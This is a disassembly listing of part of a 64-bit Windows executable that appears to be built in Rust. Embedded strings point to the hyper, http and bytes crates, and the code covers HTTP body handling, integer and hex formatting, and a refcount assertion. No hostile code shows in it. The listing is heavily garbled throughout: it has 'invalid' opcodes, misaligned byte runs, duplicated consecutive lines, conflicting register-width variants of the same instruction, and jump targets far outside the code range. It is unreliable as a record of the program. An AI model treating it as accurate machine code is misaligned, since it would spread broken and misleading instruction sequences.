add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xc0], rbx
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xad179
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xad179
lea rcx, [rsp + 0xb0]
call fcn.140108560
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
jmp 0x140094e7a
loop 0x140095063
test rax, rax
je 0x140095082
mov rcx, qword [rsi + 8]
shl rax, 4
lea rax, [rax + rax*4]
lea eax, [rax + rax*4]
lea eax, [rax + rax*4]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
add bl, ch
invalid
add bl, ch
add dh, byte [rcx]
ror byte [rax - 0x77], 0x44
and al, 0x48
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
lea ecx, [rsp + 0x40]
call fcn.1400f6880
cmp qword [rsp + 0x28], 0
jne 0x1400950ba
invalid
sbb cl, byte [rax - 0x75]
and al, 0x30
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
add rsp, 0x58
invalid
pop rax
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
xor byte [rax - 0x75], cl
push rsp
and al, 0x38
mov rdx, qword [rsp + 0x38]
call fcn.1401082a0
int3
int3
lea eax, [0x14017880c]
invalid
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
invalid
loopne 0x140095133
mov dword [rsp + 0x28], edx
mov rax, qword [rcx + 0x18]
mov r8, rax
sub r8, rdx
jb 0x140095177
mov qword [rcx + 0x18], r8
add qword [rcx + 0x10], rdx
add rsp, 0x88
ret
adc byte [rax - 0x7f], cl
invalid
add rcx, 8
add rsp, 0x88
jmp 0x140092e60
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, al
ret
mov rax, qword [rcx + 0x28]
sub rax, rdx
jb 0x14009517e
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
mov r8, qword [rcx + 0x18]
mov r9, r8
sub r9, rdx
jb 0x140095196
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
ret
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
jmp 0x14009519b
lea rcx, [0x1401425e2]
lea r8, [0x140142608]
mov edx, 0x23
call fcn.140108630
mov qword [rsp + 0x30], r8
and al, 0x30
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], rcx
invalid
and al, 0x48
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x50], rax
lea rax, str.cannot_advance_past__remaining_:___
lea eax, [0x14014fac8]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x78], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
cmp byte [rax - 0x77], cl
and al, 0x68
mov qword [rsp + 0x70], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xacf60
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.140108560
invalid
int3
int3
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1401422f0]
sub byte [rax - 0x73], cl
adc eax, 0xad0c4
mov r8d, 6
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
je 0x14009525d
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
invalid
je 0x14009525d
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
invalid
and byte [rax], al
add byte [rax], al
add dh, al
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
popfq
iretd
mov byte [rsp + 0x31], 0
lea r8, [0x1401421f0]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
push rsp
and al, 0x38
push rsp
and al, 0x38
call fcn.140016570
clc
dec dword [rax - 0x75]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x1400952c9
mov al, 1
test dl, dl
jne 0x1400952cb
mov rsi, qword [rsp + 0x28]
and al, 0x28
cmp rcx, 1
jne 0x1400952af
invalid
sub eax, 0x31247c80
add byte [rsi + riz - 0xa], dh
xor al, 4
cmp byte [rsp + 0x31], 0
jl 0x1400952a9
xor dword [rax], eax
je 0x1400952af
test byte [rsi + 0x34], 4
jne 0x1400952af
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
clc
or al, byte [rax]
clc
or al, byte [rax]
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400952cb
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
jmp 0x1400952cb
mov eax, edx
test al, al
setne al
add rsp, 0x40
add esp, 0x40
add esp, 0x40
pop rsi
ret
mov eax, 0x5f06b33a
mov bl, 6
pop rdi
xchg dword [rcx - 0x29], esi
movabs rdx, 0xdd0ab46f982dcb3f
outsd dx, dword [rsi]
mov ah, 0xa
or bl, ch
outsd dx, dword [rsi]
mov ah, 0xa
or bl, ch
ret
int3
or bl, ch
ret
push rsi
push rdi
sub rsp, 0xb8
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
test cl, 0x10
invalid
adc byte [rdi], cl
test edx, edx
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
test dword [rcx], ebx
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r9, rdx
mov rcx, qword [rax]
mov eax, 0x27
jne 0x1400953ea
test cl, 0x20
jne 0x14009543a
invalid
mov r9, rdx
mov ecx, edx
mov rcx, qword [rax]
mov eax, 0x27
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add byte [rax - 0x7f], cl
stc
adc byte [rdi], ah
add byte [rax], al
cmp rcx, 0x2710
jb 0x1400954c6
mov r11d, 0x27
invalid
add byte [rax], al
add byte [rcx - 0x46], cl
pop r9
xchg byte [rax], bh
invalid
add byte [rax], al
movabs r10, 0x346dc5d63886594b
mov rax, rcx
mul r10
enter 0xfffffffffffff749, 0xffffffffffffffe2
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
invalid
sub esi, eax
imul edi, esi, 0x147b
invalid
jnp 0x14009537c
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
mov bh, 0xf6
invalid
mov bh, 0xf6
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x34], di
sbb al, 0x34
xor al, 0x41
movzx esi, word [rax + rsi*2]
mov bh, 0x34
invalid
xor al, 0x41
movzx esi, word [rax + rsi*2]
mov bh, 0x34
invalid
mov bh, 0x34
jo 0x1400953f0
mov word [rsp + r11 + 0x36], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
mov ecx, edx
mov ecx, edx
ja 0x140095350
cmp rdx, 0x63
jbe 0x1400953ce
invalid
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
retf 0xe9c1
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x1400954d8
or dl, 0x30
mov byte [rsp + rax + 0x37], dl
dec rax
jmp 0x1400954e6
invalid
add byte [rax - 0x75], cl
add byte [rcx - 0x47], al
add dword [rax], 0x89490000
shl byte [rsi + 0x2e], 0xf
invalid
mov rax, qword [rax]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, ss:[rcx - 1]
lea r9, ss:[rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x140095400
jmp 0x140095488
mov rax, qword [rax]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x140095450
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x14009551c
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
sub byte [rax - 0x77], cl
and al, 0x20
sub byte [rax - 0x77], cl
and al, 0x20
lea r8, [0x140172d18]
mov r9d, 2
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov dl, 1
jmp case.0x140093f12.15
add byte [rax], al
add byte [rax - 0x77], cl
sal dword [rdx + 0x4846eb01], 1
mov edx, ecx
mov rdx, rcx
cmp rdx, 0x63
ja 0x1400953a4
jmp 0x1400953ce
movzx edx, word [r8 + rdx*2]
push rax
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
lea rdx, [rsp + rax]
add rdx, 0x38
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x20], edx
push rsp
and al, 0x20
mov r8d, 1
mov dl, 1
xor r9d, r9d
call fcn.140012de0
nop
add rsp, 0xb8
pop rdi
pop rsi
fdiv st(7)
call qword [rax - 0x473b7eb8]
add byte [rax], al
add byte [rdi + 0x5e], bl
ret
lea r8, [0x140115248]
lea eax, [0x140115248]
add eax, 0x7fd25
mov edx, 0x80
call fcn.1401085a0
int3
int3
add byte [rcx + 0x63], cl
add al, 0x80
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xaccf3
int3
or al, byte [rax]
int3
mov r8d, 4
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
add rsp, 0x40
pop rsi
jmp rax
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140142174]
or al, byte [rax]
mov r8d, 6
add rsp, 0x40
pop rsi
jmp rax
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
mov dword [rsp + 0x38], ecx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
add eax, 0xaccde
mov r8d, 4
jmp 0x1400955e9
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
add dh, al
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
int3
or al, byte [rax]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016570
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140095687
and byte [rax], al
add byte [rax], al
add dh, al
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
int3
mov al, 1
test dl, dl
jne 0x140095689
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x14009566d
je 0x14009565d
sub byte [rax - 0x7d], cl
stc
add dword [rbp + 0x2d], esi
cmp byte [rsp + 0x31], 0
je 0x14009566d
test byte [rsi + 0x34], 4
jne 0x14009566d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
add byte [rax], al
invalid
mov eax, 1
add byte [rax], al
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140095689
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140095689
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
jmp 0x1890957ae
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x70]
call fcn.140108560
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
int3
mov byte [rax + 0x10], 0x25
inc rax
add rsp, 0x30
pop rbp
ret
or al, byte [rax]
mov ecx, 1
call fcn.1400dd190
nop
add rsp, 0x20
pop rbp
ret
in al, dx
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, r8
mov r14, rdx
invalid
mov ebx, ecx
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r8
call fcn.1400df910
test rax, rax
je 0x1400959e3
invalid
mov rdi, rax
mov rcx, rax
mov rdx, r14
mov r8, rsi
call fcn.140106530
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400959f0
mov r14, rax
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400df910
lahf
add al, 0
test rax, rax
je 0x1400959ff
mov qword [rax], r14
lea rcx, [0x14013e0e0]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], bl
adc byte [rax - 1], cl
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
adc byte [rax - 1], cl
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
ret
mov ecx, 1
mov rdx, rsi
call fcn.1401082a0
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov qword [rbp - 0x10], r14
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
ud2
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14013e0e0]
mov rcx, qword [rbp - 0x10]
call fcn.1400dd190
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov ebp, 0x41000acb
mov eax, 0xe
jmp rax
int3
outsb dx, byte [rsi]
xchg ebp, eax
in eax, 0x6d
sbb bl, al
int3
int3
test ecx, ecx
je 0x140095b5a
cmp ecx, 1
jne 0x140095bb1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
adc byte [rax - 0x77], cl
adc byte [rax - 0x77], cl
lea rcx, [rax + 0x10]
mov qword [rsp + 0x80], rcx
lea rcx, [rax + 1]
lea ecx, [rax + 1]
adc byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rax + 1]
invalid
invalid
lea ecx, [rax + 1]
add rax, 8
lea r8, [0x14012cd08]
ror byte [rax], 0x4c
lea eax, [0x14012cd08]
mov qword [rsp + 0x70], r8
lea r8, [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x68], r8
add byte [rax], al
mov qword [rsp + 0x68], r8
push 0x42058d4c
invalid
lea r8, [0x140142225]
mov qword [rsp + 0x58], r8
and al, 0x58
lea r8, [0x14012c158]
lea eax, [0x14012c158]
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
lea rax, [0x14014221c]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
and al, 0x38
lea rax, [0x14012cd28]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
and al, 0x28
mov qword [rsp + 0x60], 0xe
mov qword [rsp + 0x40], 9
mov qword [rsp + 0x20], 5
and al, 0x20
add eax, 0x48000000
lea eax, str.Chunkedstatechunk_lenextensions_cntEofAwaitingHeadersStreamingInitContinue
and al, 0x20
add eax, 0x48000000
lea eax, str.Chunkedstatechunk_lenextensions_cntEofAwaitingHeadersStreamingInitContinue
lea r9, [0x140142217]
lea ecx, [0x140142217]
mov r8d, 7
mov rcx, rdx
ror dword [rax - 0x77], 1
invalid
ror dword [rax - 0x77], 1
ret 0xe0e8
mov edx, eax
call fcn.140016d30
nop
add rsp, 0xa0
invalid
pop rsi
add byte [rsi - 0x3d], bl
ret
add rax, 8
add eax, 8
mov qword [rsp + 0x98], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov ecx, dword [rdx + 0x28]
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rbx + r9*4 + 0x4a], cl
mov ecx, dword [rdx + 0x28]
lea rax, [0x1401421e8]
mov ecx, dword [rdx + 0x28]
lea rax, [0x1401421e8]
lea eax, [0x1401421e8]
jae 0x140095b39
invalid
or al, byte [rax]
mov r8d, 6
add byte [rax], al
mov rsi, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call qword [r9 + 0x18]
mov qword [rsp + 0x88], rsi
sbb byte [rax - 0x77], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
mov byte [rsp + 0x90], al
mov qword [rsp + 0x80], 0
mov byte [rsp + 0x91], 0
lea r8, [0x14012cd08]
lea eax, [0x14012cd08]
lea eax, [0x14012cd08]
jmp 0x140095c05
inc rax
mov qword [rsp + 0x98], rax
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rbx + r9*4 + 0x4a], cl
sub byte [rax - 0x73], cl
add eax, 0xac668
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rbx + r9*4 + 0x4a], cl
invalid
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
add eax, 0xac668
mov r8d, 3
add byte [rax], al
mov rsi, rdx
mov esi, edx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x88], rsi
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
mov byte [rsp + 0x90], al
mov qword [rsp + 0x80], 0
mov byte [rsp + 0x91], 0
test byte [rcx + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rcx + rdx*4], ah
xchg ecx, eax
add byte [rax], al
add byte [rax], al
lea r8, [0x14012bea0]
invalid
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x98]
add byte [rax], al
invalid
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add al, ch
push rsi
add byte [rax], al
call fcn.140016570
mov rcx, qword [rsp + 0x80]
add byte [rdi], cl
mov dh, 0x94
and al, 0x90
add byte [rax], al
add byte [rax - 0x7b], cl
leave
or eax, edi
dec dword [rax - 0x75]
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rdi], cl
mov dh, 0x94
and al, 0x90
add byte [rax], al
add byte [rax - 0x7b], cl
leave
je case.0x1400733b1.140
mov al, 1
test dl, dl
sal byte [rbp + 0x5a], cl
mov rsi, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
cmp rcx, 1
jne 0x140095c73
stc
add dword [rbp + 0x30], esi
cmp byte [rsp + 0x91], 0
add byte [rax], al
add byte [rax], al
je 0x140095c73
test byte [rsi + 0x34], 4
jne 0x140095c73
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
lea rdx, str._____
sub byte [rax - 0x73], r9b
adc eax, 0xaef1e
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
sbb byte [rcx - 0x7bfe4f3f], cl
leave
jne case.0x14006bdd6.173
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x14014e078]
or dword [rbx], 0
mov r8d, 1
call qword [rax + 0x18]
jmp case.0x14006bdd6.173
mov eax, edx
test al, al
setne al
add rsp, 0xa0
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi - 0x3d], bl
pop rsi
ret
pop rsi
ret
int3
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x258
in al, dx
pop rax
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], esi
and al, 0x40
add al, byte [rax]
invalid
in al, dx
pop rax
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], esi
and al, 0x40
add al, byte [rax]
invalid
and al, 0x40
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
jmp case.0x140088ba6.106
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
clc
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je 0x140095d05
test al, 4
je 0x140095f50
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0x48da7403], ch
cmp eax, 0x3f
jbe 0x140095f68
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
jne case.0x140088ba6.106
invalid
movzx eax, dl
lea rcx, [0x140178830]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
mov qword [rsp + 0x28], rax
and al, 0x28
sub byte [rax - 0x77], cl
je 0x140095d4c
invalid
mov qword [rsp + 0x30], rsi
and al, 0x30
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x48], 0
mov eax, dword [rsi + 0x30]
not eax
test al, 6
je 0x140095f80
add al, byte [rax]
add byte [rax - 0x73], cl
xor byte [rax - 0x75], r9b
jle 0x140095d7e
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140095db3
xorps xmm6, xmm6
test eax, eax
jne 0x140095ddf
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
xchg edx, eax
invalid
lea edx, [0x1400e4030]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4720
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
call fcn.14007b560
mov ecx, dword [0x140182314]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140095e3d
add dword [rbp + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x140095e57
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
add al, ch
invalid
invalid
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
mov rdi, qword [rdx + rcx*8]
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
add byte [rax - 0x73], cl
adc eax, 0x4e203
mov ebx, eax
call fcn.1400d4720
add byte [rcx + 0x2087c6d8], cl
add dword [rax], eax
add byte [rcx], al
add byte [rcx + 0x2087c6d8], cl
fadd st(6)
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
rol esp, 1
invalid
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
invalid
lock add byte [rax], al
add byte [rax - 0x73], cl
jle case.0x140092c52.48
invalid
add byte [rax], al
lea rdi, [rsi + 0x20]
test al, al
je 0x140095ef6
xchg ebx, eax
add byte [rax], al
invalid
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rcx, rsi
int1
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x140178840]
lea ecx, [0x140178840]
lea ecx, [0x140178840]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
invalid
invalid
add eax, ebp
jmp qword [rbp + 5]
invalid
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
invalid
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
cmp rax, 0x3f
jbe 0x140095fb8
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140095d16.2
add byte [rax], al
mov rcx, rsi
call fcn.1400961e0
add byte [rax], al
add byte [rax], al
jmp case.0x140095d16.2
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
add byte [rax - 0x73], cl
push rsp
and al, 0x58
mov rcx, rdi
call fcn.1400962a0
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x39], r9b
and al, 0x60
add dword [rax], eax
add byte [rax], al
sub byte [rax - 0x39], r9b
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], rax
jmp 0x140095f1d
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400962a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x60
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x58], 6
lea rdx, [rsp + 0x58]
lea edx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400962a0
mov rcx, rsi
call fcn.140096460
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
